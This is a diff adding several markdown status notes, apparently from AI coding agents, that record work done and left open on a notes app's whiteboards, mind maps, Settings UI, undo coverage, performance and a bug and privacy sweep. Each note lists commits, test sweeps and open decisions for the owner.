+board lock, presenting a board's frames); the decisions are WHITEBOARD_PLAN
+14, 15 and 16.
+
+Sweeps added: `scratchpad/ui-sweeps/wbframes.js`, `wblock.js`,
+`wbpresent.js` (each takes `VW`, `VH`, `THEME`). The 3B first-round probe:
+`scratchpad/harness_firstcall.py` (now sends the first round's own tools;
+`OFFERED=all` sends the whole toolbox, the before).
+
+## Still open, in the order to take them
+
+All five rows of Part B are built (2026-10-04 and 05; HISTORY.md "Moved from
+the plans": comments, boundaries and summaries, a map presented by branch, a
+frame as an export scope; decisions WHITEBOARD_PLAN 17 and 18, MINDMAP_PLAN 19
+to 21). Sweeps added: `wbcomments.js`, `mapstructure.js`, `mappresent.js`,
+`wbframeexport.js`, `wbgripink.js` (each takes `VW`, `VH`, `THEME`), and
+`wbregress.sh` runs the whiteboard set in one go. What is left:
+
+1. **A frame's title at a phone's fitted zoom**: done (left1005). The title
+   grows a transparent top border to `--target-min` on screen (44px at k
+   0.21; `WB_INV_ZOOM_GRIPS` names it); `left1005-frametitle.js` 7/7 at 390
+   and 1440, light and dark: one delta for the frame, the inner frame and its
+   sticky with nothing, the frame, everything or the inner pair selected. The
+   different-amounts drag (570 and 541) did not reproduce on this head, with
+   or without the fix (the old title moved nothing at all); every selection
+   move already goes through `wbApplyBulkMove`'s one delta. Left: nested
+   frames whose tops are close at that zoom share the grown area, and the
+   inner (drawn later) wins it; aim at the outer title's words.
+2. MINDMAP_PLAN §12.2's rest: a boundary round a lasso'd set that is not one
+   branch (decision 19 left it out), item 4's priority, progress, flags and due
+   dates, item 7's floating topics and palettes, item 8's outline pane.
+
+## Found, not fixed
+
+- Forced, the 3B once answered in prose with `tool_choice: "required"` on
+  the request ("Add 'bring a rain jacket' to my Snowdon trip note": "I can
+  add that to your note, but first I need ..."), 1 of 22 forced rounds.
+  llama-server's required grammar did not hold; the harness's own nudge
+  catches the claimed act on the next round. Not reproduced on demand.
+- "File the dentist note under Health", forced, once opened with
+  `create_category` (then `edit_note`): a write, and arguably right when
+  Health does not exist yet, but the category tree's four tools are offered
+  because "file " and "under" cue that group as well as `edit_note`.
+- `tools.focus_detail`'s `looks_like_a_question_about` did not hold back the
+  tag group's writes for "What tags and what categories am I using?" (the
+  first-round narrowing does it now, for small models only).
+
+## Not verified
+
+- Comments, boundaries, summaries, the map presentation and frame export in
+  the desktop window (WebView2); a real finger on the 44px comment mark.
+- The summary brace's side on the radial and free layouts (computed from where
+  the run lies; `mapstructure.js` is tree-right only).
+- Undo of a comment, boundary or summary is a "move" entry on the item
+  (`wbSetComments`, `wbMapSetNodeStyle`), swept for one post and one boundary
+  removal; the app-wide undo audit (INBOX 537) has not read them.
+
+- A touch long-press on a locked item (the lock sweep right-clicks at
+  390x844; the board's long-press menu is the same `openCanvasMenu`).
+- Real-model numbers are one Qwen2.5-3B Q4_K_M on four contended cores, two
+  tries per imperative; the question that once called `tag_note` did not
+  reproduce it in this sample (3 of 3 opened with `notebook_overview` before
+  the change), so the question fix is shown by the fake-transport tests, not
+  by a before-and-after on the real model.
+- The desktop window (WebView2) for any of the three board features.

+Branch: this agent's worktree, cut from `claude/notes-flow-rebuild` at
+`68b53a1`. Sweeps in `scratchpad/ui-sweeps/` at 1440 and 390, light and dark,
+on port 8813 (8803 was another agent's server) with data dir `/tmp/mm-docks`;
+the base measured from an archive of `68b53a1` on 8814.
+
+## Done
+
+1. **INBOX 621, the docks** (`dockgrammar621.js`: 59/58/26/26 fails before at
+   1440 light, 1440 dark, 390 light, 390 dark; PASS in all four after). One
+   grammar at the `.dock` recipe: no zone hairlines, the title as page head, a
+   quiet count, a quiet search field with its magnifier, one segmented style,
+   icon ghosts as one trailing run, the filled action last. DESIGN.md's dock
+   row and `test_dock_grammar.py` hold it.
+2. **INBOX 621, the graph's display options** (`graphpop621.js`): one column,
+   one control width, one head style, menu-row actions, no control in a
+   summary.
+3. **INBOX 622, Settings navigation** (`settingsnav.js`):
+   the pane's groups are the sidebar's second level and the phone's jump
+   list's; nothing in Settings scrolls sideways at 1440 or 390;
+   `test_settings_no_sideways.py`.
+
+## Left
+
+- `settingsnav.js` at 390: "Enter on a nav entry", "an arrow key walks the
+  list" and "exactly one nav entry is aria-current" fail on the base as well:
+  below 640 the nav buttons are hidden behind the jump list, so the sweep's
+  keyboard checks do not apply there. The sweep should skip them below 640.
+- Settings, Tools it can use at 390: a tall empty gap between "Tokens per
+  step"'s description and its field (seen in a screenshot, not measured, not
+  checked against the base).
+- Retired with this work: `dockseams.js` (it measured the wrapped-line
+  hairlines that no longer exist) and the one-off probes. Kept:
+  `scratchpad/ui-sweeps/dockgrammar621.js` (with `dockstops621.js`) and
+  `scratchpad/ui-sweeps/graphpop621.js`, the measurements for 621.

+# Help audit 1005: what is left
+
+Done (standing order 13, help moves with the UI):
+
+- Every `Settings, A, B` path in the Guide, the README and the app's own
+  messages is pinned to the nav and panes by `tests/test_help_settings_paths.py`
+  (static markup; JS-drawn groups are named in `JS_DRAWN`).
+- `scratchpad/ui-sweeps/helpaudit.js` opens all 21 panes and the 80 distinct
+  paths in a browser, checks capitalised control phrases against the pane a
+  topic names, a list of tab-level claims against each tab, and that every
+  `data-help-for` has its target. `helpdump.js` prints a tab's labels.
+- Fixed in the help (UI untouched): Settings, Shortcuts and Tools; Account and
+  security; What the notebook learned; Settings, Extras; Settings, Import;
+  the search engine's pane in the README; Whiteboards and Boards and maps
+  (the sub-tab reads Boards & maps); Files & Images (two sub-tabs); Extract
+  notes and the Writing Room (Write with Atlas has Split into notes); the
+  autonomous-AI badge (Profile to Background tasks); three popover "below"
+  pointers that became Settings, Packages; Support to Support bundle; three
+  manual-parity "where" strings.
+
+Still open:
+
+1. **UI labels that disagree with each other** (not help, not touched): the
+   Library sub-tab reads "Boards & maps" while `selection.js` and the board
+   dock's `aria-label` read "Boards and maps"; the palette row in
+   `settings-panes.js` reads "Settings → About & updates" for the pane the nav
+   calls About. Decide one spelling each, then update the Guide.
+2. **Menus drawn on press** are checked by source grep only: the chat "/"
+   menu, a message's menu, the board menus, the notes list's menus. A sweep
+   that presses each and lists its items would close it.
+3. **JS-built popovers** (`manage-cat-help`, `manage-tags-help`, `inbox-help`)
+   and the whiteboard and mind map help bodies (`wb-map-places-help` and kin)
+   were not read; the board and map agents own them.
+4. **Phone widths**: the sweep runs at 1440 only; a pane's content is the same
+   at 390, but a control a narrow window moves into a menu is named for the
+   wide layout.

+- INBOX 542 (icon and text alignment): ran the existing `iconalign.js` (9 views, 1440 and 390, light and dark, default font and `FONT=segoe`) and `badgealign.js`; no new sweep or rule. Real outlier fixed: the Timeline row's mark sat 1.2px (Segoe 2.2px) above its title (`align-content: center` on the row, title start-aligned; `tests/test_icon_label_align.py`). Pairs over 1px: 26 to 12 (default font), 14 to 0 (Segoe).
+- Skeleton loaders: `scratchpad/ui-sweeps/settings-skeletons.js` (API held 800ms) found 10 empty lists in 8 Settings panes; Packages, embedding models, Skills, Tools, Personas, Backups, Privacy and Account now show `.skeleton` rows (1 left, see below). Dashboard, notes list, Timeline, Library, Graph were already covered (INBOX 596, 598, 602) and measure `ok` in `skeletons.js`.
+

+- `badgealign.js` still measures against the x-height band (INBOX 503) while the recipe's target is the capital centre (INBOX 592): it prints 1.0 to 1.8px "outliers" for link, skill-fact and item-fact chips that are 0.5 to 1.0px from the capital's painted ink centre (`/tmp` probes, DPR 1 and 3). Decide the target in one place and move the sweep to it.
+- `iconalign.js` prints 1.17px for the Installed badge and the search result chips in the sandbox font (fractional box against a snapped baseline); 0.95px in Segoe. Painted ink is 0.5px (DPR 1).
+- Settings, Models pane: "Checking the models…" shows as a bare line until the first status answer; its lists are skeleton-ready (`status.js`) but the sweep never caught the null-status frame.
+- Settings, What it learned, What it remembers, Logs lists and the skill tool picker were not given skeletons: the sweep showed no blank frame in the first three after the fix pass (they draw from already loaded state or a stream) and the picker sits in a closed form.

+# integ-1005 (integration branch, resume after restart)
+
+Done:
+- WIP 1115e84 finished (1251fba). Merged: claude/notes-flow-rebuild up to 941ae1d (2290942, 97923ca, 143b240, 88227db, 6382169, f22bd43, 941ae1d), worktree-agent-ad3584a6daa4a586d (backlog), worktree-agent-a5fc003aee83305a1 (search, boot slimming). One alembic head (b4e8d2a6f1c9).
+- worktree-agent-a79a18324e9d9899e (292636f) recorded with `-s ours` (3732b05): it built world-class rows 3 to 6, 12, 13, 15, 21, 30, 31, 34 a second time, beside the integration's ae597ce (24 conflicted files, duplicate modules). The integration's implementation is kept; its one new behaviour, Undo for a snooze (2d867a1), is ported (bc9fe0a).
+- The note edit form: 616's redesign in note-edit-panels.js (lazy, a stand-in), its word count with the reading time; closeNoteForm with it.
+- Lazy moves for the boot budget: renderEditForm, closeNoteForm, the embedding models list, the full backup's handlers, deleteProfile, mergeNamedPrompts, addSkill, the Settings bar's New listener, the privacy tables, placeTemplateCaret, atlasStartersFor, refreshAfterCategoryChange; the companion's menu and enlarged view in a new companion-menu.js; Atlas's rig changes ported into atlas-motion.js. Caps lowered to the measure: boot JS 589,100, total 321,000, app.js 14,300, guards 279, lets 704.
+- A boot error the Atlas merge brought (atlasState read by setAtlasMood before atlas-motion.js loads) fixed: atlasState is at boot again.
+- Sweeps: noteedit616.js 0 findings at 1440 light and 390 dark; noteeditflow.js all passed (fresh data, one bookmark seeded); a session check of the companion menu, enlarged view, Atlas figure and atlas-life.js load at 1440 and 390, no page errors.
+
+Left:
+- "Link all above 70%" (a749b9d): the control already existed on the kept row (`linkSure`); ported what it lacked (the confirm, an honest "Linked n of m", a failed link stays listed, the help line), s2 agent, `tests/test_link_all_sure.py`. The lazy-inbox.css move was not ported.
+- A note type made through `POST /note-types` before the list was read, then deleted, loses its id on Undo: not reproduced (nothing seeds note types), pinned by a test, s2 agent.
+- autonomous.py's module-level stop flag: `reset_state()`, called by `create_app` and by a conftest autouse fixture (s2 agent).
+- `gate.sh --changed` selects most of the suite on this branch; the targeted runs stood in for it.

+## Done
+
+- 13e's remainder: a branch palette (one server list, `/tree` hands it to the
+  canvas, the thumbnail and its cache key read the same name), a map font
+  (canvas and image export), and decision 9's pin per themed select.
+  `mappalette.js` 13/13 in light, dark and 390; `maptheme.js` 24/24.
+- INBOX 24: the New menu's rows carry a visible one-line hint
+  (`boardsnew.js`, 0 findings at 2000/1440/820/390, light and dark).
+- Placed, verified already built: All draws a map as a map
+  (`libraryallmap.js`), the Boards and maps dock is one row from 2000 to 820
+  (`boardsdock.js`).
+- 13b's remainder: the strip no longer covers the handle of the line into its
+  topic, 4/48 to 0/192 (`mapstripcover.js`).
+- 13c's in-flight cue and 13f's markup were already closed; `maplinkcue.js`
+  12/12 re-run.
+
+## Left to do
+
+- **The Boards and maps dashboard widget's tall maps** (MINDMAP_PLAN, the
+  evening batch, still open there): a 25-topic tree-right map draws a 20x40
+  paper in the 72x40 row box, a 7-topic one 25x40. `mapPreview`'s rule is
+  "the paper is the board's shape"; cropping a tall map to the box, or a
+  square box, is a judgement for the owner.
+- **13g** (the middle-button pan on the owner's machine) needs the owner.
+
+## Found, not fixed
+
+- On the base branch, before this work, and not touched by it (the KG
+  merges): `test_list_limits` and `test_list_endpoints_page` (`/entities`,
+  `/note-types`, `/relation-types` have no limit), `test_core_message_wording`
+  (`routes_mentions.py` `LINK_UNSAFE_WHY`), `test_no_import_cycles`
+  (`routes_entries` and `routes_properties`; `core.database` and
+  `core.vault`), and `test_events.py::test_every_manager_write_records_exactly_one_event`
+  (`link_label` in entry/manager.py has no driver in core/events.py).
+- Found and fixed in this work's own first commit: the export's theming walk
+  ran on every map (to drop pins) without a seen set, so a ring in
+  `parent_id` hung the export (`test_a_ring_in_the_tree_does_not_hang_an_export`
+  hung rather than failed, which is why `test_mindmap.py` first looked slow).
+
+## Not verified
+
+- The `wide` font stack on Windows and macOS (only seen falling back to
+  DejaVu Sans here).
+- The handles of the lines *out of* the selected topic against the strip.
+- A themed map's re-import still comes back as topics carrying the look, not
+  as a themed map (unchanged, see [maptheme.md](maptheme.md)).

+# The open-ledger pass, 2026-10-05
+
+A pass over `OPEN.md` section by section (Documents, Graph, Notes and
+capture, Library, Timeline, Chat and popup agent, Settings and help, App
+wide, Backend, the rest). Stopped part way by a change of task (INBOX 599,
+the Settings heads and the popup shell). Each closed row is in HISTORY.md,
+"OPEN.md rows closed, 2026-10-05 (the open-ledger pass)".
+
+## Built
+
+- Documents, the word menu measures its own width before it is placed:
+  reproduced at 390 (256 of 316px), fixed (`wordmenuwidth.js`). 0ffce20.
+- Library, a Files row asks for a PDF first page the server cannot draw:
+  `has_pages` on `GET /media`, the tile asks on it alone (`pdfpagereq.js`).
+  ce14cdb.
+- Settings and help, toggle rows onto one recipe: the gap was the last
+  difference (`togglerows.js`). 6fe8021.
+
+## Closed as already built or decided
+
+- Library, the fold chip at 82% of the column: built by INBOX 279 (60px of
+  179.4px, `foldchip.js`).
+- Library, the six descriptions at six heights and the two pictures at two
+  sizes: decided in UI_MODERNISATION_PLAN's Phase 7 amendments.
+
+## Marked "Needs"
+
+- Library, a PDF's reading from outside the app: needs a local model.
+
+## Where the pass stopped
+
+Settings and help: the next row is "The OCR workspace head could not be
+measured". Not yet worked: the rest of Settings and help, App wide, Backend,
+Sweeps and tooling, the carried rows, Not verified, and the Chat section's
+rows (each already annotated as needing a model or a decision; their notes
+were not yet rewritten as "Needs:"). Documents, Graph, Notes and capture and
+Timeline hold no open row.
+
+## Then: INBOX 599 and 606 (the coordinator's change of task)
+
+Measured with `settingsheads.js`, `popupinv.js` (now with foot fields),
+`noteeditform.js` and `noteeditflow.js`, at 1440 and 390, light and dark.
+
+- Library, AI skills dock: 90px in two rows at 1100 and 820, now 50px and one
+  row at 1440, 1280 and 1100 (the sort an icon picker, the segment's words
+  leave a dock under 58rem); a dock under 700px keeps INBOX 450's planned
+  break. 0338280.
+- Settings: 21 panes opened on a bare 18.4px title row (Logs on a dock with a
+  12px title, Background tasks on none) with the index as a second strip;
+  now 20 open on a `.dock` (16px title, the index inside it, '?' last, 50px,
+  one row at 1440; two panes take two rows at 390), the dock sticky. Packages
+  keeps its fold head (its first group has the pane's name). 16645fe.
+- Popups: the shell was already one (head 32, radius 8, padding 16/20); the
+  feet were not: button heights {32, 38/40, 40/38} to {32} at 1440, filled
+  first in 2 feet to 0, 2 feet at the left to 0. ef33b6f.

+Agent: the well-defined rows of OPEN.md, 2026-10-05, branch cut from

+## Done

+- 713cc52: the note card's "Tag with Atlas" chip is not drawn on a private
+  note (sweep 1004 item 7, found-not-fixed). `open-privatechip.js`: private
+  1 chip before, 0 after; plain 1 both. `tests/test_private_note_no_ai_offer.py`.

+OPEN.md has no other row whose fix is named or mechanical: the third pass

+decision, an owner call, or an area another agent owns). Rows checked and left,
+each with its reason:
+

+  palette decided), `.dock-chip-row` (kept whole as a recipe, zero page uses
+  held by `tests/test_ui_recipes.py`), the document gutter's read/write pass
+  (a perf change that wants a measurement first).
+- F7's 13 thread sites (`tests/test_flaw_class_lints.py`): a WORLD_CLASS_PLAN
+  flaw class, another agent's.
+- ~~`scratchpad/ui-sweeps/quickaccess.js` is stale~~ Fixed 2026-10-05 (small-1005), as is the `mappan.js` fixture below; the old text: it is stale (it opens a row menu in
+  `.launch-head` that INBOX 488 moved to the dashboard dock's Customise); the

+# perf2-1005: what the second performance fix agent left open (2026-10-05)
+
+The audits are `scratchpad/audit1005/frontend.md` and `arch.md`; each line
+this agent closed carries its commit. Measured on the audit's seeded
+notebook (5,032 notes, 384-wide vectors) in process with
+`scratchpad/perf2-1005-bench.py`, under load 10 to 14. Open, most useful
+first:
+
+- **ARCH-02, the save.** `POST /entries` p50 210 ms (one line) and 345 ms
+  (400 words) at 5,000 notes, not under 150. The profile
+  (`scratchpad/perf2-1005-prof.py`): the lexical pass walks all 4,000 kept
+  docs to build its candidate list per save (`lexical_filing._tally` and
+  `suggest_tags`), `nearest` reads up to 4,000 postings (a
+  third of the dict lookups), `janitor._knn_match` 52 ms over the whole
+  matrix, 39 statements. **Tried and reverted:** handing `nearest` a test
+  instead of a list and keeping the per-category counts and the tag
+  vocabulary in the corpus (exact, by a reference test over random
+  notebooks) removed the walks but not the time: under cProfile, 20 tally
+  and suggestion pairs were 1.18 s and 1.67M calls against 1.18 s and 1.72M
+  before. `nearest`'s postings budget (4,000 holders on a small vocabulary)
+  is the cost; the next step is a smaller budget measured for filing
+  quality (`scratchpad/filing_eval.py`), or the k nearest read from the
+  engine's matrix once per save.
+- **ARCH-13, the rest.** Response models for the busiest routes and one
+  paging helper. The lint keyed on shape is built
+  (`tests/test_list_routes_by_shape.py`, 25 bounded rows, 0 open).
+- **ARCH-22, the rest.** `skill_runner._run_one_step` (425 lines) and
+  `agent.run_agent` (416) are each a loop over a dozen locals; split, they
+  need a state object first. `scratchpad/perf2-1005-longfns.py` lists them.
+- **FE-11, the 720 and 640 groups.** 26 + 6 and 11 queries; each moves the
+  Settings window's stacked layout, the timeline's compact row and the
+  whiteboard's bar at the widths it changes, so each needs its own sweep.
+- **FE-09.** Unused CSS rules: no coverage-driven deletion started.
+- **FE-10.** Not moved, by measurement (the commit d43564c): a `<template>`
+  is still parsed, and boot code reads Settings ids. A real gain needs the
+  panes' markup fetched on first open, with every boot reader of a Settings
+  id moved behind it.
+- **FE-13.** The routes are faster; the tab JS at 5,000 notes was not
+  profiled again.
+- **FE-14 on a phone.** At 390 the chips' overhang is 44px and a card clips
+  it below its last row: 34px reached.
+- **Found, not fixed:** `tests/test_search_engine.py::
+  test_a_one_letter_typo_finds_the_note_and_says_what_it_searched` and
+  `tests/test_core_message_wording.py` (routes_auth's `problem`) fail on the
+  merged branch, untouched by this agent; `test_relations_kg2.py`'s 10k
+  timing is flaky under load.

+# Sweep 1004: found, not fixed
+
+Bug, security and CodeQL-hygiene sweep over the last ~60 commits (KG3 to KG9,
+agent harness, mentions, notifications, preferences). Fixed in this sweep:
+entity mentions kept after a note goes private, a quadratic log-scrub regex,
+RecursionError from a runaway bracket in a tool argument, unbounded inbox
+signal names and topic-summary terms.
+
+Reviewed clean: router-level unlock on every new route; property writer (no
+fence injection); relation-type and note-type routes; migrations (upgrade,
+downgrade and re-upgrade on a fresh database, constraints and FKs kept);
+mentions link action (offsets re-checked server side); `status.js` dismissal
+(no innerHTML); every module-level regex timed against 40 adversarial shapes
+(one finding, fixed); ruff with extra rules (E722, SIM115, S608, B023): the
+S608 hits are constant placeholders.
+
+## Not fixed
+
+1. **FIXED (`LinkProps`, tests/test_private_link_props.py): link properties are not sealed on a link with a private end.** A link's
+   `reason` is encrypted (`manager._seal_reason`) but `entry_links.props`
+   (up to 20 values of 200 characters) is stored in the clear. Props are
+   short and free text a person wrote about the two notes, so the same rule
+   applies; sealing needs an encrypted JSON column or a string envelope plus a
+   reader. Decision for the owner: seal (a `LinkProps` type like `LinkReason`)
+   or state that props are metadata, like the link and its kind.
+2. **FIXED (`entity_page` 404s, tests/test_entity_page_private.py): an entity that only private notes ever named is still fetchable by id.**
+   `GET /entities/{id}` returns its name and aliases with zero notes (the list
+   hides it). The name was lifted from a note when it was readable. Cheapest
+   fix: 404 an entity with no visible mention, as the list does.
+3. **FIXED (tests/test_model_json_deep_nesting.py): other model-JSON readers catch only ValueError.** `extractor.py:135`,
+   `janitor.py:638`, `passive_capture.py:146`, `reminder_parser.py:165` parse
+   the span between a reply's first `{` and last `}`; a reply of several
+   thousand nested braces raises RecursionError there. They run in background
+   passes with their own outer guards (not checked each); the tool path, which
+   had none, is fixed.
+4. **FIXED (tests/test_coerce_number_finite.py): `_coerce` accepts `nan` and `inf` for a `number` parameter**
+   (`float("nan")`). No current tool has a `number` parameter whose handler
+   would misbehave; noted for the next one.
+5. **A dismissed reminder notification never returns** (`status.js`
+   `notificationsDismissed`, keyed `reminder:<id>`): a reminder snoozed and
+   overdue again stays hidden from the bell. By design of INBOX 508; revisit if
+   the owner snoozes reminders.
+6. **Not verified in a browser:** nothing here changed the UI; the notification
+   dismissal was read, not run.
+
+7. **FIXED (tests/test_reevaluate_private.py, orchestrator add-on): `reevaluate` sent a private note's text to the model and the search index.** It now refuses a private note with a 400, like generate-title. The note menu's AI actions group was already left out for a private note, and the card's "Tag with Atlas" chip is now too (`tests/test_private_note_no_ai_offer.py`, `open-privatechip.js`: private 1 chip before, 0 after).

+INBOX 537 and the owner's follow-up on local histories, done; the audit
+table is WHITEBOARD_PLAN.md, "Undo coverage", and decisions 17 and 18.
+
+1. Every board and map gesture is one Undo step read off what it changed
+   (`wbRecordGesture`, `WB_RECORDED` at the end of whiteboard.js); a deleted
+   topic comes back with its branch and parent, a deleted card, box or shape
+   with its links; a selection delete and Clear board are one step; an
+   image's file is kept for its Undo. `boardundo.js` 43/43.
+2. The "disappeared" branch reproduced (a loose branch dropped on a folded
+   topic went under the fold) and fixed: the target opens. A rename left
+   open across an Undo wrote onto another topic: fixed (live row by id; an
+   open edit is committed before an Undo).
+3. Each board and map keeps its own history (`wbHistoryFor`); each document
+   its own CodeMirror history by id (`docResetDocument`); the status bar's
+   pair says which and is repainted on a tab, board or document change.
+   `docundo.js` 8/8.
+4. The app's stack: title generate or remove, link kind and properties,
+   duplicate merge, bulk board delete, keyboard category delete, cleared
+   reminders and overdue reminder delete (`POST /reminders` `restore`).

+## Still open, in the order to take them

+1. **Detach a bookmark from a note being edited**: done (left1005; now in
+   the lazy `note-edit-panels.js`, re-attached in its place).
+2. **Entity merge** (`entity-page.js`, `/entities/{id}/merge`): no Undo, and
+   the server keeps no record to reverse it from. Needs a design call (an
+   unmerge endpoint from the event payload). Opus.
+3. **Delete a note type, a relation type, a space, a conversation**: done
+   (left1005, `tests/test_undo_deletes_1005.py`, sweep
+   `left1005-undodeletes.js` 7/7). A space deleted with its contents stays
+   final, by design; deleting the open space reloads the page, so no Undo.
+4. **A board's history does not survive a reload**, and an agent's or

+   says the event log is the long memory). Not planned.

+# Whiteboard draw.io phase 2: what is left
+
+The 2026-10-05 brief's six steps, cut from `claude/notes-flow-rebuild` at
+`d75a406`. What landed is in HISTORY.md ("Moved from the plans, 2026-10-05
+(wb-phase2: draw.io phase 2)"); the decisions are WHITEBOARD_PLAN 30 to 36.
+Sweeps added (each takes `W`, `H`, `THEME`; `wbmatrix.sh` runs any of them at
+1440 and 390, light and dark): `wbwaypoints.js`, `wbmermaidframes.js`,
+`wbhistory.js` (ages the log in its own data dir, `DATA=`), `wbguides.js`,
+`wbports.js`, `mapsuggest.js`.
+
+## Still open, in the order to take them
+
+1. **FEAT-13, the rest.** Ghosts drawn on the canvas (decision 36 chose the
+   picker dialog because the boot CSS cap is full: 183,284 of 183,300
+   bytes after this branch; ghosts want a lazy whiteboard stylesheet or
+   dead rules found and cut first), "Expand from my notes" and "Summarise
+   this branch" (MINDMAP_PLAN §12.3 item 2).
+2. **Phase G's other two**: the affinity sort (select stickies, Group by
+   theme, the local model proposes named frames, each sticky shows the notes
+   behind its place, accept per frame, one Undo) and the claim check. Both
+   want faked-transport tests and `agent.PROSE_BUDGET_CHARS`.
+3. **The time machine's "what changed"** (the audit's idea): a plain-words
+   summary between two moments by the local model, off the same log.
+4. **Line jumps** are recomputed on a render, not on every drag frame: a
+   line being dragged, and the lines it crosses, show their hops again when
+   it lands. A curved line takes none (draw.io's rule), but is hopped over.
+5. **Waypoints carried** only by a pointer drag that moved both ends; the
+   arrow-key nudge, align and distribute leave a connector's bends where
+   they were.
+6. **Ports with Select** are mouse and pen only (touch has no hover); a

+# World class 1004: what is left
+
+Worked WORLD_CLASS_PLAN section 8's rows 3, 4 and 2 in the brief's order.
+
+- **Row 3, B2 durable jobs: built** for the pool's six kinds
+  (`core/jobstore.py`, a `jobs` table, leases with a heartbeat, resume at
+  launch, `GET /jobs`, `GET /jobs/stream`, `POST /jobs/{id}/cancel`, the
+  panel's Quit on a queued reading). Record: HISTORY.md, "Moved from the
+  plans, 2026-10-04 (B2 durable jobs)". Gate: `tests/test_jobstore.py`, a
+  real SIGKILL of a real process mid-job, resumed by a second.
+- **Row 4, D2 connections rail: already built** (2026-09-27); re-measured,
+  `notesrail.js` 30/30 light and dark on the showcase notebook. Record moved
+  to HISTORY.md, "Moved from the plans, 2026-10-04 (D2 connections rail)".
+- **Row 2's IPv6: not started**, sized M rather than S (§12 has the shape).
+
+## Still open, in the order to take them
+
+1. **B2's other kinds onto the table** (re-index, embeddings backfill, skill
+   run, import, backup, model download). Each runs in its own thread with
+   its own canceller today (`core/bgtasks.py`); each needs a handler that
+   resumes from a cursor rather than from the start, and a kind in
+   `jobstore.HANDLERS`. Opus, M.
+2. **The activity panel on `/jobs/stream`** instead of polling `/tasks`
+   (`ai-tools.js`). The stream closes after 60 s by design (an open response
+   holds a quit; `EventSource` reopens). Help moves with it (order 13). Opus, S.
+3. **Cancel of a running durable job**: cooperative, a `should_stop()` the
+   handler checks between pages; today the answer says it will finish. S.
+4. **LAN mode over IPv6** (row 2): the dual-stack socket in `__main__.py`,
+   `arrived_on_loopback` for v4-mapped loopback, bracketed IPv6 in
+   `lan_addresses`, `test_lan_mode.py` over `[::1]` and v4. Opus, M.
+
+## Not verified
+
+- The activity panel showing a resumed job: without Tesseract or a vision
+  model in the sandbox each reading finishes in milliseconds.
+- Windows: the SIGKILL test is skipped there; the heartbeat and lease are
+  plain SQL and threads.
+
+## Session 2 (rows 6, 5, 7, then 2's IPv6)
+
+- **Row 6 (§14.3, I6): built.** Paragraph vectors (`chunk_vectors`,
+  `search/chunks.py`) f4c64a1; evidence fields, the peek's bars and the
+  evidence view in the next commit. Record: HISTORY.md, "row 6: paragraph
+  vectors and evidence cards". Left: "wrong" on a card as a correction (I7).
+- Next: row 5, the tension and answered-question passes (`ai/facts.py`).
+- **Row 5 (I1 passes 4 and 5): built.** `facts._pair_passes`, `derived_facts.payload`,
+  the card's pair rows. Record: HISTORY.md, "row 5: tensions and answered
+  questions". Left: pass 2's kinds (dates, duplicates, entities) as facts.
+- Next: row 7, the questions view (`GET /questions`, the Ask scope, the answered-by link).
+- **Row 7 (I3): built.** `ai/questions.py`, `routes_questions.py`, Notes,
+  Questions, the Ask scope, the Dashboard line. Record: HISTORY.md, "row 7:
+  open questions" (with the answered-by link's decision).
+- Next: row 2's leftover, LAN mode over IPv6 (§12; `__main__.py`, `core/netbind.py`).
+- **Row 2's IPv6: built.** `netbind.listening_socket` (one dual-stack
+  socket), mapped loopback, IPv6 addresses bracketed. Record: HISTORY.md,
+  "row 2: LAN mode over IPv6". The `[::1]` launcher test skips here (the
+  sandbox has no IPv6 at all); it runs wherever `has_dualstack_ipv6()`.
+
+## Still open after session 2, in order
+
+1. B2's other kinds onto the jobs table, the panel on `/jobs/stream`, cancel
+   of a running durable job (session 1's list above, unchanged).
+2. I7 on an evidence card: "wrong" as a correction that changes the next
+   answer's ranking (H2's second half; `learning.py`, `capture-ask.js`
+   `evidenceBlock`). Opus, M.
+3. I1 pass 2's kinds as derived facts: dates (a reminder on accept),
+   duplicates (the merge on accept), entities (`ai/facts.py`). Opus, M.
+
+## Not verified (session 2)
+
+- Any real model: paragraph-vector gains measured with a hashed
+  bag-of-words embedder (`scratchpad/chunk_retrieval_bench.py`), the night
+  pairs' judging and the Ask scope against fakes that answer by rule.
+- IPv6 end to end and Windows' dual-stack bind: no IPv6 in this sandbox.
+
+## Found, not fixed
+
+- `tests/test_flaw_class_lints.py::test_no_module_starts_more_threads_than_it_did`
+  fails on the branch head: `core/jobstore.py` starts a thread (the B2
+  heartbeat) and is not in `THREAD_SITES`. Session 1's code; a reason or a
+  move onto the pool, not a widened rule.
+- The gzip total (`tests/test_static_compression.py`) has 235 bytes
+  left under 794,000 (793,765) after rows 6 and 7; three long history comments in
+  `capture-ask.js` were condensed to make room.

+# World class 1005b: what is built, what is left
+
+WORLD_CLASS_PLAN section 8's open rows, in the plan's order, from `a4f7aac`.
+
+## Built
+
+- **Row 10 (D5): done.** Most of it was KG4. The gate's rest: the graph's
+  View, Colour, Note type, and a type's own colour (Note types, ⋯, Colour…).
+  Found and fixed: `PUT /entries/{id}/properties` and a note's
+  `mentions/link` were 500s since B7 (positional `session` into
+  `update_entry`). Record: HISTORY.md, "Moved from the plans, 2026-10-05
+  (D5)". Left: the Library grouping notes by type.
+- **Row 11, section 17 row 1 (review queue): done.** `is:review`, Accept /
+  Refile / Split per card, the count in the Categories widget. Record:
+  HISTORY.md, "Moved from the plans, 2026-10-05 (section 17)". Decision
+  taken (recommended, not confirmed): the card's 50, not 60.
+
+- **INBOX 598, 602, 596's skeleton part: done** (the coordinator's switch).
+  Page-shaped outlines and a named state for Graph, Library, Documents; the
+  dashboard's skeleton rows, its filling outline and its in-place refresh on
+  a return. Record: HISTORY.md, "Built 2026-10-05: INBOX 598, 602 and 596's
+  skeleton part". The INBOX entries are left for the orchestrator to move
+  (this brief did not edit INBOX.md). 596's other parts (the library menu
+  position, the board sidebar, templates) are the whiteboard agent's.
+
+## Stopped here (switched to INBOX 598, 602, 596 by the coordinator)
+
+- **Row 11, section 17 row 5 (most opened this month): half built, not
+  committed to the app.** Parked in `scratchpad/wc1005b-most-opened.md` (three sections):
+  `opens.py.txt` (a month-bucketed opens file, `core/opens.py`),
+  `routes_entries.patch` (`GET /entries/most-accessed?period=month`, and
+  `opens.record` on `GET /entries/{id}`), the test file. Left: count the
+  opens the page actually makes (the Notes list never GETs a note: hook
+  `flashEntry` and `openNotePage`, and Ask's matches in `routes_chat`), and
+  the Most used widget's `.seg` This month / All time. Then the HISTORY
+  block and CHANGELOG line.
+
+## Still open, in the plan's order
+
+1. Section 17: rows 3 filing style (S), 6 explain this note (S), 2 tidy
+   proposals (M), 4 charts from questions (M).
+2. Row 15 (section 1.3): Remind me on documents and boards, Show in graph
+   for a document, the Library note card's Remind me and Link to.
